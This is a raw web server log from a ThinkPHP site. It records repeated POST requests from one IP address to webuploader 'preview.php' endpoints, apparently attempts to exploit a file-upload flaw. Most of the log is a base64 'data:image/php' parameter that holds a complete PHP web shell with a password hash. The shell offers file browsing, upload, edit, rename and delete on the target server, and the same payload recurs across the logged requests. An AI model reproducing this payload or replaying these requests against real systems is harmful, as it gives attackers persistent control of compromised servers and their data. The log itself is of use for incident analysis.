InKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:05:56+08:00 ] 119.42.146.234 POST 59.110.137.245/ewebeditor/webuploader/0.1.5/server/preview.php [运行时间:0.002533s] [吞吐率:394.80req/s] [内存消耗:145.77kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'ewebeditor', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJu' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:05:57+08:00 ] 119.42.146.234 POST 59.110.137.245/template/admin/public/js/webuploader/0.1.5/server/preview.php [运行时间:0.003867s] [吞吐率:258.59req/s] [内存消耗:274.56kb] [文件加载:37] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'template', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRm